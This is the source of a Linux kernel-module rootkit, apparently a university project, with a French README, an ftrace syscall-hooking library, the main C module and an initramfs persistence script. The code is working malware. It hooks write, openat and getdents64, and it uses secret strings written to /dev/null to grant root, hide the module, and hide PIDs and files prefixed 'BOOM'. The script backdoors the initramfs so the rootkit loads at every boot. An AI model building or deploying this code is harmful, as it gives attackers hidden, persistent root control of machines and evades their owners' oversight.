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GNU GENERAL PUBLIC LICENSE
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obj-m += rootmeplz.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

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# Rootkit linux 5.6+
## Fonctionnalités
* Hook les appels systèmes `write`, `openat`, `getdents64`
* Canal de communication dans `/dev/null`
* Élévation des privilèges (devenir root)
* Cacher le LKM (Linux Kernel Module)
* Révéler le LKM
* Cacher plusieurs PID
* Script de persistance du LKM
## Explication de fonctionnement
1. Hook des appels systèmes
Les appels systèmes sont hook à l'aide de `ftrace` où on attache une fonction
callback dans une partie de kernel, notamment dans les registres des appels
systèmes qu'on veut hook.
2. Canal de communication
Dans le hook de l'appel système `openat` on vérifie quel fichier à été ouvert.
Si le fichier est `/dev/null` on retient le `file descriptor` et le `pid` du procès appelant.
Puis, dans le hook de l'appel système `write` on vérifie si le `pid` et le `file
descriptor` correspond à celui que on a retenu, afin de ne pas faire des
vérification inutiles. Si c'est le cas, on compare ce qui est écrit dans le fichier.
Les commandes acceptées sont `root`, `hideme`, `reveal` et `hide$` avec un préfixe `secret`.
Le moyen de communication se fait par l'outil standard `echo`.
3. Élévation de privilèges
Pour devenir root, d'abord je récupère la structure `pid` du processus qui
écrit dans `/dev/null`. Puis, on récupère la tâche qui correspond à ce `pid`. À
la suite, on change les accréditations de la tâche pour celle du root (`0`).
4. Cacher LKM
Pour cacher le LKM, on récupère la liste des modules chargées et on supprime le rootkit.
5. Révélation de LKM
Pour révéler le LKM, on ajoute mon module dans la liste des modules chargées.
6. Cacher PID
Les _pid_ sont stocké dans la structure `_hidden_pids` qui peut contenir au plus 200 `pid`,
et qui contient le nombre de `pid` cachés. Puis, dans le hook de l'appel
système `write`, le `pid` avec la phrase `secrethide$PID$,` où
**PID** est le `pid` donné, est retenu. Après, dans l'appel système `getdents64` on vérifie
si le dossier dont une tache essaye d'accéder correspond aux `pid`s retenus. Si
c'est le cas, on l'ignore dans listing.
7. Persistance
Pour avoir mon LKM chargé au démarrage on remplace l'image de `initramfs` qui
contient le filesystem initiale qui est chargé en mémoire et qui `mount` le
vrai filesystem et qui contient des LKM avec des drivers. Donc, on crée un
`initramfs` fauté avec mon LKM, et on ajoute la ligne de chargement du rootkit
dans le script `init`.
## Bibliographie
* [Learn linux rootkit](https://xcellerator.github.io/posts/linux\_rootkits\_01/)
* [WRITING SIMPLE ROOTKIT](https://theswissbay.ch/pdf/Whitepaper/Writing%20a%20simple%20rootkit%20for%20Linux%20-%20Ormi.pdf)
* [Hooking syscalls with ftrace](https://nixhacker.com/hooking-syscalls-in-linux-using-ftrace/)
* [Linux hook system call](https://cdmana.com/2021/07/20210731031948859C.html)
* [Persistent rootkit](https://yassine.tioual.com/posts/backdoor-initramfs-and-make-your-rootkit-persistent/)
* [Hide processes](https://jm33.me/linux-rootkit-for-fun-and-profit-0x02-lkm-hide-filesprocs.html)

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#include <linux/ftrace.h>
#include <linux/linkage.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/version.h>
#include <linux/kprobes.h>
static unsigned long lookup_name(const char *name)
{
struct kprobe kp = {.symbol_name = name};
unsigned long retval;
if (register_kprobe(&kp) < 0)
return 0;
retval = (unsigned long)kp.addr;
unregister_kprobe(&kp);
return retval;
}
/*
* There are two ways of preventing vicious recursive loops when hooking:
* - detect recusion using function return address (USE_FENTRY_OFFSET = 0)
* - avoid recusion by jumping over the ftrace call (USE_FENTRY_OFFSET = 1)
*/
#define USE_FENTRY_OFFSET 1
/**
* struct ftrace_hook - describes a single hook to install
*
* @name: name of the function to hook
*
* @function: pointer to the function to execute instead
*
* @original: pointer to the location where to save a pointer
* to the original function
*
* @address: kernel address of the function entry
*
* @ops: ftrace_ops state for this function hook
*
* The user should fill in only &name, &hook, &orig fields.
* Other fields are considered implementation details.
*/
struct ftrace_hook {
const char *name;
void *function;
void *original;
unsigned long address;
struct ftrace_ops ops;
};
static int fh_resolve_hook_address(struct ftrace_hook *hook)
{
hook->address = lookup_name(hook->name);
if (!hook->address) {
pr_debug("unresolved symbol: %s\n", hook->name);
return -ENOENT;
}
// #if USE_FENTRY_OFFSET
*((unsigned long *)hook->original) = hook->address + MCOUNT_INSN_SIZE;
// #else
// *((unsigned long *)hook->original) = hook->address;
// #endif
return 0;
}
static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops,
struct ftrace_regs *fregs)
{
struct pt_regs *regs = ftrace_get_regs(fregs);
struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
// #if USE_FENTRY_OFFSET
regs->ip = (unsigned long)hook->function;
// #else
// if (!within_module(parent_ip, THIS_MODULE))
// regs->ip = (unsigned long)hook->function;
// #endif
}
/**
* fh_install_hooks() - register and enable a single hook
* @hook: a hook to install
*
* Returns: zero on success, negative error code otherwise.
*/
int fh_install_hook(struct ftrace_hook *hook)
{
int err;
err = fh_resolve_hook_address(hook);
if (err)
return err;
/*
* We're going to modify %rip register so we'll need IPMODIFY flag
* and SAVE_REGS as its prerequisite. ftrace's anti-recursion guard
* is useless if we change %rip so disable it with RECURSION.
* We'll perform our own checks for trace function reentry.
*/
hook->ops.func = fh_ftrace_thunk;
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION | FTRACE_OPS_FL_IPMODIFY;
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
if (err) {
pr_debug("ftrace_set_filter_ip() failed: %d\n", err);
return err;
}
err = register_ftrace_function(&hook->ops);
if (err) {
pr_debug("register_ftrace_function() failed: %d\n", err);
ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
return err;
}
return 0;
}
/**
* fh_remove_hooks() - disable and unregister a single hook
* @hook: a hook to remove
*/
void fh_remove_hook(struct ftrace_hook *hook)
{
int err;
err = unregister_ftrace_function(&hook->ops);
if (err) {
pr_debug("unregister_ftrace_function() failed: %d\n", err);
}
err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
if (err) {
pr_debug("ftrace_set_filter_ip() failed: %d\n", err);
}
}
/**
* fh_install_hooks() - register and enable multiple hooks
* @hooks: array of hooks to install
* @count: number of hooks to install
*
* If some hooks fail to install then all hooks will be removed.
*
* Returns: zero on success, negative error code otherwise.
*/
int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
{
int err;
size_t i;
for (i = 0; i < count; i++) {
err = fh_install_hook(&hooks[i]);
if (err)
goto error;
}
return 0;
error:
while (i != 0) {
fh_remove_hook(&hooks[--i]);
}
return err;
}
/**
* fh_remove_hooks() - disable and unregister multiple hooks
* @hooks: array of hooks to remove
* @count: number of hooks to remove
*/
void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
{
size_t i;
for (i = 0; i < count; i++)
fh_remove_hook(&hooks[i]);
}
#define HOOK(_name, _function, _original) \
{ \
.name = ("__x64_" _name), .function = (_function), .original = (_original), \
}

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#!/usr/bin/env sh
set -eu
mkdir /tmp/initrfs && cd $_
LINE="# this should always be the last thing we do before the switch_root."
FILE="/boot/initramfs-linux.img"
if [[ -f /boot/initramfs-linux-lts.img ]]; then
FILE="/boot/initramfs-linux-lts.img"
fi
lsinitcpio -x $FILE
cp /home/vagrant/rk/rootkit.ko /tmp/initrfs/BOOM_rk.ko
sed -i "/$LINE/ { N; s/$LINE\n/insmod \/BOOM_rk.ko\n&/ }" /tmp/initrfs/init
find -mindepth 1 -printf '%P\0' | LANG=C bsdcpio -0 -o -H newc --quiet | gzip > /tmp/init.img
cp /tmp/init.img $FILE

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// LKM_rootkit
// Copyright © 2021 Volodymyr Patuta
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/dirent.h>
#include "fthook.h"
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Volodymyr Patuta");
MODULE_DESCRIPTION("University project");
MODULE_VERSION("0.0.1");
unsigned int target_fd = 0;
unsigned int target_pid = 0;
static asmlinkage long (*orig_sys_openat)(struct pt_regs *);
static asmlinkage long (*orig_sys_write)(struct pt_regs *);
static asmlinkage long (*orig_sys_getdents64)(struct pt_regs *);
static int make_me_root(void);
static void hide(void);
static void unhide(void);
struct list_head *list;
static int is_hidden = 0;
static const char *hide_prefix = "BOOM";
const int hide_prefix_len = 4;
char given_pid[200];
static char hidden_pid[200][200];
static int hidden_pids = 0;
static asmlinkage long fh_sys_getdents64(struct pt_regs *regs)
{
struct linux_dirent64 __user *dirent = (struct linux_dirent64 *)regs->si;
struct linux_dirent64 *prev_dir, *current_dir, *orig = NULL;
unsigned long offset = 0;
long err;
int ret = orig_sys_getdents64(regs);
orig = kzalloc(ret, GFP_KERNEL);
if (ret <= 0 || orig == NULL) {
return ret;
}
err = copy_from_user(orig, dirent, ret);
if (err) {
kfree(orig);
return ret;
}
while (offset < ret) {
current_dir = (void *)orig + offset;
if ((memcmp(given_pid, current_dir->d_name, strlen(given_pid)) == 0) &&
(strncmp(given_pid, "", NAME_MAX) != 0)) {
if (current_dir == orig) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
prev_dir->d_reclen += current_dir->d_reclen;
}
if (memcmp(hide_prefix, current_dir->d_name, hide_prefix_len) == 0) {
if (current_dir == orig) {
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
prev_dir->d_reclen += current_dir->d_reclen;
} else {
prev_dir = current_dir;
}
offset += current_dir->d_reclen;
}
err = copy_to_user(dirent, orig, ret);
if (err) {
kfree(orig);
return ret;
}
kfree(orig);
return ret;
}
static asmlinkage long fh_sys_openat(struct pt_regs *regs)
{
long ret;
struct task_struct *task;
task = current;
if (strncmp((char *)regs->si, "/dev/null", 15) == 0) {
ret = orig_sys_openat(regs);
target_fd = ret;
target_pid = task->pid;
return ret;
}
ret = orig_sys_openat(regs);
return ret;
}
static asmlinkage long fh_sys_write(struct pt_regs *regs)
{
struct task_struct *task;
task = current;
if (task->pid == target_pid) {
if (regs->di == 1 || regs->di == target_fd) {
char __user *buf = (char *)regs->si;
if (strncmp(buf, "secretroot", 10) == 0) {
make_me_root();
} else if (strncmp(buf, "secrethideme", 12) == 0) {
hide();
} else if (strncmp(buf, "secretreveal", 12) == 0) {
unhide();
} else if (strncmp(buf, "secrethide$", 11) == 0) {
given_pid[0] = '\0';
strncat(given_pid, buf + 11, strlen(buf + 11) - strlen(strrchr(buf, '$')));
printk(KERN_DEBUG "rootkit: buf [%s]\n", given_pid);
}
}
}
return orig_sys_write(regs);
}
static struct ftrace_hook hooks[] = {
HOOK("sys_write", fh_sys_write, &orig_sys_write),
HOOK("sys_openat", fh_sys_openat, &orig_sys_openat),
HOOK("sys_getdents64", fh_sys_getdents64, &orig_sys_getdents64),
};
static int make_me_root(void)
{
struct pid *proc_pid;
struct task_struct *task;
struct cred *new_cred;
kuid_t kuid;
kgid_t kgid;
// printk(KERN_ERR "BOOM! [%llu]\n", val);
proc_pid = find_vpid(target_pid);
if (proc_pid == NULL) {
printk(KERN_ERR "ERR find_vpid()\n");
return 1;
}
task = pid_task(proc_pid, PIDTYPE_PID);
if (task == NULL) {
printk(KERN_ERR "ERR pid_task()\n");
return 2;
}
kuid = KUIDT_INIT(0);
kgid = KGIDT_INIT(0);
new_cred = prepare_creds();
if (new_cred == NULL) {
printk(KERN_ERR "ERR prepare_creds()\n");
return 3;
}
new_cred->uid = kuid;
new_cred->gid = kgid;
new_cred->euid = kuid;
new_cred->egid = kgid;
commit_creds(new_cred);
return 0;
}
static void hide(void)
{
if (is_hidden) {
return;
}
list = THIS_MODULE->list.prev;
list_del(&THIS_MODULE->list);
is_hidden = 1;
}
static void unhide(void)
{
if (!is_hidden) {
return;
}
list_add(&THIS_MODULE->list, list);
is_hidden = 0;
}
static int __init boom_init(void)
{
int err;
pr_info("BOOM\n");
err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
if (err)
return err;
// hide();
pr_info("module loaded\n");
return 0;
}
static void __exit boom_exit(void)
{
fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
pr_info("Psshhh\n");
}
module_init(boom_init);
module_exit(boom_exit);